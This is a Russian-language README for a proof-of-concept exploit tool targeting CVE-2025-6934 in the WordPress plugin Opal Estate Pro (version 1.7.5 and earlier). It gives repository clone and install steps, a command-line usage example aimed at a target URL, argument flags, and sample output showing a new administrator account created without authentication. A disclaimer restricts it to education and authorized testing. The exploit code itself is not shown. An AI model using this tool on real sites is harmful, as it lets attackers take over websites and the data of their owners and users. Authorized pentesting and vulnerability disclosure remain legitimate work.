CVE-2025-6934 Автоэксплойт

---

⚡ Обзор

CVE-2025-6934 — это PoC-эксплойт, нацеленный на WordPress-плагин: Opal Estate Pro ≤ 1.7.5.
Данный эксплойт демонстрирует несанкционированное создание учётной записи администратора.

Дисклеймер: Этот PoC предназначен только для образовательных целей. Не используйте его на системах без разрешения.

---

🛠 Возможности

• Автоматическое определение версии плагина.
• Получение необходимого nonce для регистрации.
• Создание новой учётной записи администратора без аутентификации.
• Цветной вывод в консоль с сообщениями о статусе, успехе, ошибке и информации.
• Работает на Python 3.x с минимальными зависимостями.

---

⚙️ Установка

1. Клонируйте репозиторий:

git clone https://github.com/Rosemary1337/CVE-2025-6934.git
cd CVE-2025-6934

2. Установите зависимости:

pip install -r requirements.txt

Требования: requests, beautifulsoup4, colorama

---

🚀 Использование

python3 main.py -u <TARGET_URL> -mail <EMAIL> -password <PASSWORD> -user <USERNAME>

Пример:

python3 main.py -u http://site.com/ -mail [email protected] -password 3xplo1tI5Fun -user r1337

Аргументы

Флаг	Описание	Обязательный	По умолчанию
-u, --url	URL целевого сайта	Да	-
-mail, --newmail	Email для нового админа	Да	-
-password, --newpassword	Пароль для нового админа	Да	-
-user, --username	Имя пользователя для админа	Нет	administrator

---

🎨 Вывод

Консоль показывает:

• Сообщения о статусе [•]
• Успех [✔]
• Ошибку [✖]
• Информацию [i]

Пример:

[•] Starting Exploit...
[✔] Nonce Found: xyz123
[✔] Exploit Successful!
    Username : r1337
    Email    : [email protected]
    Password : 3xplo1tI5Fun
    Role     : administrator

---

🔐 Безопасность и дисклеймер

• Только для образовательных и тестовых целей.
• Не атакуйте веб-сайты без явного разрешения.
• Используйте только в контролируемой лабораторной среде или при авторизованном пентесте

---

🔗 Связь со мной

Я активный разработчик, который любит создавать инструменты и делиться знаниями. Вы можете связаться со мной через: